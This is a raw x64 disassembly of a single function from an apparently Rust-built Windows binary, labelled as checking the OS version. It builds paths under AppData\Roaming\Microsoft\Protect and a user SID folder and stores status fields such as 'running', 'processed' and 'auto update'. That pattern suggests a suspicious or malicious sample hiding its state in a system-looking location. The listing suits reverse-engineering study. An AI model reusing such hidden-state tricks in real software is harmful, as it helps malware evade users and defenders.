Function at 0x140025f20
Capabilities:
Check os version

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x178
mov rsi, rcx
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x80]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x98]
cmp al, 2
je 0x140027e62
mov rdi, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
lea r13, [rsp + 0x99]
test al, al
je 0x14002620f
lea rdx, str.AppDataRoamingMicrosoft
lea rcx, [rsp + 0x80]
mov r8d, 0x19
call fcn.14000bdf0
mov r14, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x110]
mov rdx, rdi
mov r8, rbx
mov r9, r14
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x140025fea
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x140026001
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x80]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x98]
cmp al, 2
je 0x140027e66
mov rdi, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test al, al
je 0x1400262a7
lea rdx, str.AppDataRoamingMicrosoftProtect
lea rcx, [rsp + 0x80]
mov r8d, 0x21
call fcn.14000bdf0
mov r14, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xf0]
mov rdx, rdi
mov r8, rbx
mov r9, r14
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x1400260ad
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x1400260c4
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x80]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x98]
cmp al, 2
je 0x140027e6d
mov rdi, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test al, al
je 0x140026347
lea rdx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
lea r14, [rsp + 0x80]
mov r8d, 0x4f
mov rcx, r14
call fcn.14000bdf0
mov r15, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8, rbx
mov r9, r15
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x140026170
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x140026187
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0xb0], xmm1
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x1400263e7
add rax, 0x110
jmp 0x1400263ec
test rbx, rbx
je 0x140025f88
lea rax, [rdi + rbx]
mov rdx, rdi
jmp 0x14002623c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x140025f88
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140026230
cmp r8b, 0xe0
jb 0x140026221
cmp r8b, 0xed
jne 0x14002627e
cmp rcx, rax
je 0x140025f88
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140025f88
cmp byte [rdx + 1], 0x9f
ja 0x140027eb5
add rdx, 3
mov rcx, rdx
jmp 0x140026230
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140026230
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140026230
test rbx, rbx
je 0x14002604b
lea rax, [rdi + rbx]
mov rdx, rdi
jmp 0x1400262dc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002604b
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x1400262d0
cmp r8b, 0xe0
jb 0x1400262b9
cmp r8b, 0xed
jne 0x14002631e
cmp rcx, rax
je 0x14002604b
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002604b
cmp byte [rdx + 1], 0x9f
ja 0x140027f08
add rdx, 3
mov rcx, rdx
jmp 0x1400262d0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x1400262d0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x1400262d0
test rbx, rbx
je 0x14002610e
lea rax, [rdi + rbx]
mov rdx, rdi
jmp 0x14002637c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002610e
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140026370
cmp r8b, 0xe0
jb 0x140026359
cmp r8b, 0xed
jne 0x1400263be
cmp rcx, rax
je 0x14002610e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002610e
cmp byte [rdx + 1], 0x9f
ja 0x140027f5b
add rdx, 3
mov rcx, rdx
jmp 0x140026370
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140026370
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140026370
call fcn.140063940
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], 3
mov ecx, 3
mov r9d, 1
xor edx, edx
call fcn.14000dca0
cmp qword [rsp + 0x88], 0
je 0x140026445
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xa8], 0
je 0x140026467
mov r8, qword [rsp + 0xa0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xc8], 0
je 0x140026489
mov r8, qword [rsp + 0xc0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x80]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x98]
cmp al, 2
je 0x140027e74
mov rdi, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test al, al
je 0x140026cec
lea rdx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
lea rcx, [rsp + 0x80]
mov r8d, 0x4f
call fcn.14000bdf0
mov r14, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8, rbx
mov r9, r14
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x140026532
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x140026549
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0x42
lea r9, str.23aa4cc77f591dfc237480bbd95f6ba_84bd4d53_ac30_4946_a8d6_0787bbe453runningprocessedreverseautoupdate
lea rcx, [rsp + 0xf0]
call fcn.140081510
mov rdi, qword [rsp + 0xf0]
mov r8, qword [rsp + 0x100]
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.14007f910
cmp dword [rsp + 0x80], 2
jne 0x140026caa
mov rax, qword [rsp + 0x88]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400265f8
lea rdi, [rax - 1]
mov rbx, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400265e6
cmp qword [r14 + 0x10], 0x11
jb 0x1400265d4
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xf8], 0
je 0x14002661a
mov r8, qword [rsp + 0xf0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x58], 0
je 0x140026636
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x148], 0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002667a
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140027e51
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 7
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140027e51
mov dword [rax + 3], 0x676e696e
mov dword [rax], 0x6e6e7572
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 7
mov qword [rsp + 0x120], 7
mov word [rsp + 0x80], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x138]
lea r8, [rsp + 0x110]
lea r9, [rsp + 0x80]
call fcn.14000aa40
cmp byte [rsp + 0x50], 6
je 0x1400266fb
lea rcx, [rsp + 0x50]
call fcn.1400091d0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140026727
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140027e7b
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 9
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140027e7b
movabs rcx, 0x65737365636f7270
mov qword [rax], rcx
mov byte [rax + 8], 0x64
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 9
mov qword [rsp + 0x120], 9
mov word [rsp + 0x80], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x138]
lea r8, [rsp + 0x110]
lea r9, [rsp + 0x80]
call fcn.14000aa40
cmp byte [rsp + 0x50], 6
je 0x1400267ac
lea rcx, [rsp + 0x50]
call fcn.1400091d0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x1400267d8
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140027e51
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 7
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140027e51
mov dword [rax + 3], 0x65737265
mov dword [rax], 0x65766572
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 7
mov qword [rsp + 0x120], 7
mov word [rsp + 0x80], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x138]
lea r8, [rsp + 0x110]
lea r9, [rsp + 0x80]
call fcn.14000aa40
cmp byte [rsp + 0x50], 6
je 0x140026859
lea rcx, [rsp + 0x50]
call fcn.1400091d0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140026885
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140027e8c
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 4
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140027e8c
mov dword [rax], 0x6f747561
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 4
mov qword [rsp + 0x120], 4
mov word [rsp + 0x80], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x138]
lea r8, [rsp + 0x110]
lea r9, [rsp + 0x80]
call fcn.14000aa40
cmp byte [rsp + 0x50], 6
je 0x1400268ff
lea rcx, [rsp + 0x50]
call fcn.1400091d0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002692b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140027e9d
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 6
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140027e9d
mov word [rax + 4], 0x6574
mov dword [rax], 0x61647075
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 6
mov qword [rsp + 0x120], 6
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002699a
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140027e51
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 7
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140027e51
mov dword [rax + 3], 0x796c6874
mov dword [rax], 0x746e6f6d
mov byte [rsp + 0x80], 3
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 7
mov qword [rsp + 0x98], 7
lea rbx, [rsp + 0x50]
lea rdi, [rsp + 0x138]
lea r8, [rsp + 0x110]
lea r14, [rsp + 0x80]
mov rcx, rbx
mov rdx, rdi
mov r9, r14
call fcn.14000aa40
cmp byte [rsp + 0x50], 6
je 0x140026a22
lea rcx, [rsp + 0x50]
call fcn.1400091d0
movups xmm0, xmmword [rsp + 0x138]
movups xmmword [rsp + 0xf8], xmm0
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x108], rax
mov byte [rsp + 0xf0], 5
mov qword [rsp + 0x50], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0xb0], 0x20
mov byte [rsp + 0xb8], 3
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0xa0], rbx
lea rax, fcn.1400093b0
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x110], rdi
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x110]
call case.0x14004bb40.283
test rax, rax
jne 0x14002800d
mov rdi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x80]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x98]
cmp al, 2
je 0x140028043
mov r14, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
mov r15, qword [rsp + 0x90]
test al, al
je 0x140026d87
lea rdx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
lea rcx, [rsp + 0x80]
mov r8d, 0x4f
call fcn.14000bdf0
mov r12, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x50]
mov rdx, r14
mov r8, r15
mov r9, r12
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x140026b84
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x140026b9b
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0x42
lea r9, str.23aa4cc77f591dfc237480bbd95f6ba_84bd4d53_ac30_4946_a8d6_0787bbe453runningprocessedreverseautoupdate
lea rcx, [rsp + 0x80]
call fcn.140081510
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x90]
mov r8, rdi
mov r9, rbx
call fcn.14007def0
mov rbx, rax
test rbp, rbp
lea r13, [rsp + 0x99]
je 0x140026bff
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x88], 0
je 0x140026c21
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x58]
test rbx, rbx
je 0x140026e27
test rax, rax
je 0x140026c48
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xf0]
call fcn.1400091d0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140026c81
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140028153
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140028153
mov qword [rax], rbx
mov qword [rsi], rax
lea rax, [0x1400a9950]
jmp 0x1400286c3
cmp qword [rsp + 0xf8], 0
je 0x140026cc7
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x58], 0
je 0x140026e4d
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140026e4d
test rbx, rbx
je 0x1400264d3
lea rax, [rdi + rbx]
mov rdx, rdi
jmp 0x140026d1c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x1400264d3
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140026d10
cmp r8b, 0xe0
jb 0x140026cfe
cmp r8b, 0xed
jne 0x140026d5e
cmp rcx, rax
je 0x1400264d3
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1400264d3
cmp byte [rdx + 1], 0x9f
ja 0x140027fae
add rdx, 3
mov rcx, rdx
jmp 0x140026d10
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140026d10
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140026d10
test r15, r15
je 0x140026b25
lea rax, [r14 + r15]
mov rdx, r14
jmp 0x140026dbc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x140026b25
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140026db0
cmp r8b, 0xe0
jb 0x140026d99
cmp r8b, 0xed
jne 0x140026dfe
cmp rcx, rax
je 0x140026b25
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140026b25
cmp byte [rdx + 1], 0x9f
ja 0x1400280a3
add rdx, 3
mov rcx, rdx
jmp 0x140026db0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140026db0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140026db0
test rax, rax
je 0x140026e40
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xf0]
call fcn.1400091d0
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x80]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x98]
cmp al, 2
je 0x140027eae
mov rdi, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test al, al
je 0x14002703f
lea rdx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
lea rcx, [rsp + 0x80]
mov r8d, 0x4f
call fcn.14000bdf0
mov r14, qword [rsp + 0x80]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8, rbx
mov r9, r14
call fcn.140081510
cmp qword [rsp + 0x88], 0
je 0x140026ef6
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x140026f0d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0x42
lea r9, str.23aa4cc77f591dfc237480bbd95f6ba_84bd4d53_ac30_4946_a8d6_0787bbe453runningprocessedreverseautoupdate
lea rcx, [rsp + 0xf0]
call fcn.140081510
mov dword [rsp + 0xa0], 0
mov word [rsp + 0xa4], 0
mov dword [rsp + 0x80], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], 7
mov byte [rsp + 0xa0], 1
mov rdi, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x100]
lea rbx, [rsp + 0x80]
mov rcx, rdi
mov r8, rbx
call fcn.14007cdd0
mov r15, rax
mov r14, rdx
cmp qword [rsp + 0xf8], 0
je 0x140026fb9
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x1400270d7
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140026fee
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140028153
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140028153
mov qword [rax], r14
mov qword [rsi], rax
lea rax, [0x1400a9950]
mov qword [rsi + 8], rax
mov byte [rsi + 0x1b], 2
cmp qword [rsp + 0x58], 0
je 0x1400286cb
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400286cb
test rbx, rbx
je 0x140026e97
lea rax, [rdi + rbx]
mov rdx, rdi
jmp 0x14002706c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x140026e97
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140027060
cmp r8b, 0xe0
jb 0x140027051
cmp r8b, 0xed
jne 0x1400270ae
cmp rcx, rax
je 0x140026e97
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140026e97
invalid
invalid
cmp byte [rdx + 1], 0x9f
ja 0x140028047
add rdx, 3
mov rcx, rdx
jmp 0x140027060
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140027060
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140027060
cmp qword [rsp + 0x58], 0
je 0x1400270f3
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 7
call fcn.1400a42a0
ud2
mov al, 2
jmp 0x140027ec7
mov al, 2
jmp 0x140027f1a
mov al, 2
jmp 0x140027f6d
mov al, 2
jmp 0x140027fc6
mov ecx, 1
mov edx, 9
call fcn.1400a42a0
ud2
mov ecx, 1
mov edx, 4
call fcn.1400a42a0
ud2
mov ecx, 1
mov edx, 6
call fcn.1400a42a0
ud2
mov al, 2
jmp 0x14002805f
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0x53], ecx
mov dword [rsp + 0x50], eax
xor eax, eax
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rbx
mov byte [rsp + 0x98], al
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x53]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x140028102
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0x53], ecx
mov dword [rsp + 0x50], eax
xor eax, eax
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rbx
mov byte [rsp + 0x98], al
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x53]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x140028102
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0x53], ecx
mov dword [rsp + 0x50], eax
xor eax, eax
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], rbx
mov byte [rsp + 0x98], al
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x53]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x140028102
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
xor eax, eax
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rbx
mov byte [rsp + 0x98], al
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x140028102
mov rcx, rax
call fcn.14006f2d0
lea rax, [0x1400de568]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400a9f60]
lea r8, [rsp + 0xe7]
mov edx, 0x37
call fcn.1400a48c0
ud2
mov al, 2
jmp 0x1400280c0
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0xf3], ecx
mov dword [rsp + 0xf0], eax
xor eax, eax
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rbx
mov byte [rsp + 0x98], al
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0xf3]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x140028102
lea rsi, [rsp + 0x99]
mov eax, dword [rsi]
mov ecx, dword [rsi + 3]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
xor eax, eax
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], r15
mov byte [rsp + 0x98], al
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
lea rax, str.srcutilities_registry.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140008890
lea r8, [rsp + 0x80]
mov edx, 0x2b
call fcn.1400a48c0
ud2